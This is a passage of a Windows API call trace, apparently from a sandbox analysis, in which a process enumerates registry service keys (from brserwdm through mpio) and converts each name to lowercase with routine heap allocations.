lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0235.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0235.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0235.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0235.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0235.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0235.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0235.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0235.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0235.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0235.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0235.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 